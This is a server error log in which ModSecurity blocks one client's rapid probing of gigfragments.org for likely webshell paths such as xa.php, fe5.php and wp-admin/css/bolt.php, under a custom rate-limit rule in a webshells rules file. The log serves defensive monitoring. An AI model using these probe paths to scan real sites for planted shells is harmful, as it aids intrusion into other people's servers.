[Sat Apr 25 18:20:52.325147 2026] [:error] [pid 16108:tid 16178] [client 4.232.187.202:7102] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aeyVhIbPF4HSQDj6WrlY5QAAAMw"]
[Sat Apr 25 18:20:52.845396 2026] [:error] [pid 16195:tid 16205] [client 4.232.187.202:7083] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aeyVhDVPLvrpvXaNQOkGcgAAAAc"]
[Sat Apr 25 18:20:53.365432 2026] [:error] [pid 16108:tid 16180] [client 4.232.187.202:7021] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aeyVhYbPF4HSQDj6WrlY6gAAAM4"]
[Sat Apr 25 18:20:53.864177 2026] [:error] [pid 16107:tid 16139] [client 4.232.187.202:7088] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xa.php"] [unique_id "aeyVhdIfF7Hy3tw0sYRfngAAAII"]
[Sat Apr 25 18:20:54.333505 2026] [:error] [pid 16108:tid 16187] [client 4.232.187.202:6990] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeyVhobPF4HSQDj6WrlY7QAAANU"]
[Sat Apr 25 18:20:54.833193 2026] [:error] [pid 16106:tid 16134] [client 4.232.187.202:7003] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeyVhiGjdEsrWF7e-7MWbQAAAFg"]
[Sat Apr 25 18:20:55.334530 2026] [:error] [pid 16108:tid 16182] [client 4.232.187.202:7027] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeyVh4bPF4HSQDj6WrlY7gAAANA"]
[Sat Apr 25 18:20:55.802527 2026] [:error] [pid 16195:tid 16210] [client 4.232.187.202:6474] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aeyVhzVPLvrpvXaNQOkGfQAAAAw"]
[Sat Apr 25 18:20:56.322365 2026] [:error] [pid 16195:tid 16221] [client 4.232.187.202:7068] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeyViDVPLvrpvXaNQOkGgAAAABc"]
[Sat Apr 25 18:20:56.878536 2026] [:error] [pid 16195:tid 16222] [client 4.232.187.202:6945] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeyViDVPLvrpvXaNQOkGggAAABg"]
[Sat Apr 25 18:20:57.413270 2026] [:error] [pid 16195:tid 16201] [client 4.232.187.202:6970] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeyViTVPLvrpvXaNQOkGiQAAAAM"]
[Sat Apr 25 18:20:57.932004 2026] [:error] [pid 16195:tid 16219] [client 4.232.187.202:6516] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inege.php"] [unique_id "aeyViTVPLvrpvXaNQOkGiwAAABU"]
[Sat Apr 25 18:20:58.436516 2026] [:error] [pid 16108:tid 16179] [client 4.232.187.202:6964] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeyViobPF4HSQDj6WrlY-AAAAM0"]
[Sat Apr 25 18:20:58.946936 2026] [:error] [pid 16195:tid 16222] [client 4.232.187.202:6942] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeyVijVPLvrpvXaNQOkGmgAAABg"]
[Sat Apr 25 18:20:59.428027 2026] [:error] [pid 16195:tid 16214] [client 4.232.187.202:7020] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeyVizVPLvrpvXaNQOkGoQAAABA"]
[Sat Apr 25 18:20:59.898609 2026] [:error] [pid 16106:tid 16120] [client 4.232.187.202:6946] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fe5.php"] [unique_id "aeyViyGjdEsrWF7e-7MWcgAAAEo"]
[Sat Apr 25 18:21:00.406692 2026] [:error] [pid 16195:tid 16203] [client 4.232.187.202:7094] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "aeyVjDVPLvrpvXaNQOkGqQAAAAU"]
[Sat Apr 25 18:21:00.927781 2026] [:error] [pid 16106:tid 16119] [client 4.232.187.202:7032] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "aeyVjCGjdEsrWF7e-7MWdQAAAEk"]
[Sat Apr 25 18:21:01.410970 2026] [:error] [pid 16195:tid 16202] [client 4.232.187.202:7081] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "aeyVjTVPLvrpvXaNQOkGsAAAAAQ"]
[Sat Apr 25 18:21:01.879249 2026] [:error] [pid 16107:tid 16157] [client 4.232.187.202:6977] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "aeyVjdIfF7Hy3tw0sYRfqQAAAJQ"]
[Sat Apr 25 18:21:02.345048 2026] [:error] [pid 16107:tid 16148] [client 4.232.187.202:6986] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no1.php"] [unique_id "aeyVjtIfF7Hy3tw0sYRfqgAAAIs"]
[Sat Apr 25 18:21:02.812193 2026] [:error] [pid 16195:tid 16222] [client 4.232.187.202:6929] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no1.php"] [unique_id "aeyVjjVPLvrpvXaNQOkGtAAAABg"]
[Sat Apr 25 18:21:03.321225 2026] [:error] [pid 16195:tid 16199] [client 4.232.187.202:6923] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no1.php"] [unique_id "aeyVjzVPLvrpvXaNQOkGtQAAAAE"]
[Sat Apr 25 18:21:03.818382 2026] [:error] [pid 16195:tid 16200] [client 4.232.187.202:7006] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no1.php"] [unique_id "aeyVjzVPLvrpvXaNQOkGuQAAAAI"]
[Sat Apr 25 18:21:04.291766 2026] [:error] [pid 16195:tid 16204] [client 4.232.187.202:6930] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w2025.php"] [unique_id "aeyVkDVPLvrpvXaNQOkGuwAAAAY"]
[Sat Apr 25 18:21:04.791802 2026] [:error] [pid 16108:tid 16179] [client 4.232.187.202:6524] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w2025.php"] [unique_id "aeyVkIbPF4HSQDj6WrlZBAAAAM0"]
[Sat Apr 25 18:21:26.077659 2026] [:error] [pid 16107:tid 16145] [client 4.232.187.202:7010] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeyVptIfF7Hy3tw0sYRf4wAAAIg"]
[Sat Apr 25 18:21:26.579202 2026] [:error] [pid 16108:tid 16168] [client 4.232.187.202:7165] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeyVpobPF4HSQDj6WrlZQQAAAMQ"]
[Sat Apr 25 18:21:27.051608 2026] [:error] [pid 16106:tid 16132] [client 4.232.187.202:6936] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeyVpyGjdEsrWF7e-7MWmwAAAFY"]
[Sat Apr 25 18:21:27.548430 2026] [:error] [pid 16106:tid 16121] [client 4.232.187.202:7004] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aeyVpyGjdEsrWF7e-7MWnAAAAEs"]
[Sat Apr 25 18:21:28.078833 2026] [:error] [pid 16106:tid 16114] [client 4.232.187.202:6967] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeyVqCGjdEsrWF7e-7MWoAAAAEQ"]
[Sat Apr 25 18:21:28.608230 2026] [:error] [pid 16108:tid 16176] [client 4.232.187.202:7008] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeyVqIbPF4HSQDj6WrlZTQAAAMo"]
[Sat Apr 25 18:21:29.109983 2026] [:error] [pid 16106:tid 16115] [client 4.232.187.202:6486] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeyVqSGjdEsrWF7e-7MWpwAAAEU"]
[Sat Apr 25 18:21:29.611461 2026] [:error] [pid 16107:tid 16150] [client 4.232.187.202:7013] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aeyVqdIfF7Hy3tw0sYRf7QAAAI0"]
[Sat Apr 25 18:21:30.139599 2026] [:error] [pid 16106:tid 16127] [client 4.232.187.202:6992] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeyVqiGjdEsrWF7e-7MWqgAAAFE"]
[Sat Apr 25 18:21:30.637898 2026] [:error] [pid 16108:tid 16185] [client 4.232.187.202:7065] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeyVqobPF4HSQDj6WrlZWAAAANM"]
[Sat Apr 25 18:21:31.102688 2026] [:error] [pid 16195:tid 16199] [client 4.232.187.202:6960] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeyVqzVPLvrpvXaNQOkHKwAAAAE"]
[Sat Apr 25 18:21:31.599475 2026] [:error] [pid 16108:tid 16174] [client 4.232.187.202:6963] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeyVq4bPF4HSQDj6WrlZWwAAAMg"]
[Sat Apr 25 18:21:32.094726 2026] [:error] [pid 16106:tid 16126] [client 4.232.187.202:6959] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeyVrCGjdEsrWF7e-7MWtAAAAFA"]
[Sat Apr 25 18:21:32.559996 2026] [:error] [pid 16107:tid 16158] [client 4.232.187.202:6849] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeyVrNIfF7Hy3tw0sYRf8QAAAJU"]
[Sat Apr 25 18:21:33.065736 2026] [:error] [pid 16106:tid 16128] [client 4.232.187.202:6931] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeyVrSGjdEsrWF7e-7MWuAAAAFI"]
[Sat Apr 25 18:21:33.591466 2026] [:error] [pid 16195:tid 16211] [client 4.232.187.202:6907] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-act.php"] [unique_id "aeyVrTVPLvrpvXaNQOkHNQAAAA0"]
[Sat Apr 25 18:21:34.090585 2026] [:error] [pid 16108:tid 16165] [client 4.232.187.202:6955] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeyVrobPF4HSQDj6WrlZZQAAAME"]
[Sat Apr 25 18:21:34.591698 2026] [:error] [pid 16107:tid 16142] [client 4.232.187.202:6938] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeyVrtIfF7Hy3tw0sYRf-AAAAIU"]
[Sat Apr 25 18:21:35.088699 2026] [:error] [pid 16107:tid 16139] [client 4.232.187.202:7157] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeyVr9IfF7Hy3tw0sYRf-wAAAII"]
[Sat Apr 25 18:21:35.583393 2026] [:error] [pid 16108:tid 16190] [client 4.232.187.202:6951] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "aeyVr4bPF4HSQDj6WrlZaAAAANg"]
[Sat Apr 25 18:21:36.110853 2026] [:error] [pid 16106:tid 16125] [client 4.232.187.202:7037] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeyVsCGjdEsrWF7e-7MWvQAAAE8"]
[Sat Apr 25 18:21:36.645292 2026] [:error] [pid 16195:tid 16204] [client 4.232.187.202:6918] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeyVsDVPLvrpvXaNQOkHSAAAAAY"]
[Sat Apr 25 18:21:37.141064 2026] [:error] [pid 16107:tid 16150] [client 4.232.187.202:6939] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeyVsdIfF7Hy3tw0sYRgBQAAAI0"]
[Sat Apr 25 18:21:37.607541 2026] [:error] [pid 16195:tid 16213] [client 4.232.187.202:6916] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aeyVsTVPLvrpvXaNQOkHTwAAAA8"]
[Sat Apr 25 18:21:38.105087 2026] [:error] [pid 16195:tid 16201] [client 4.232.187.202:6968] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeyVsjVPLvrpvXaNQOkHUwAAAAM"]
[Sat Apr 25 18:21:38.604581 2026] [:error] [pid 16106:tid 16122] [client 4.232.187.202:6928] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeyVsiGjdEsrWF7e-7MWwgAAAEw"]
[Sat Apr 25 18:21:39.071111 2026] [:error] [pid 16108:tid 16190] [client 4.232.187.202:7007] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeyVs4bPF4HSQDj6WrlZdAAAANg"]
[Sat Apr 25 18:21:39.538313 2026] [:error] [pid 16108:tid 16175] [client 4.232.187.202:7167] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/index.php"] [unique_id "aeyVs4bPF4HSQDj6WrlZdwAAAMk"]
[Sat Apr 25 18:21:40.008071 2026] [:error] [pid 16195:tid 16207] [client 4.232.187.202:6926] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeyVtDVPLvrpvXaNQOkHYAAAAAk"]
[Sat Apr 25 18:21:40.474136 2026] [:error] [pid 16195:tid 16199] [client 4.232.187.202:7038] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeyVtDVPLvrpvXaNQOkHZAAAAAE"]
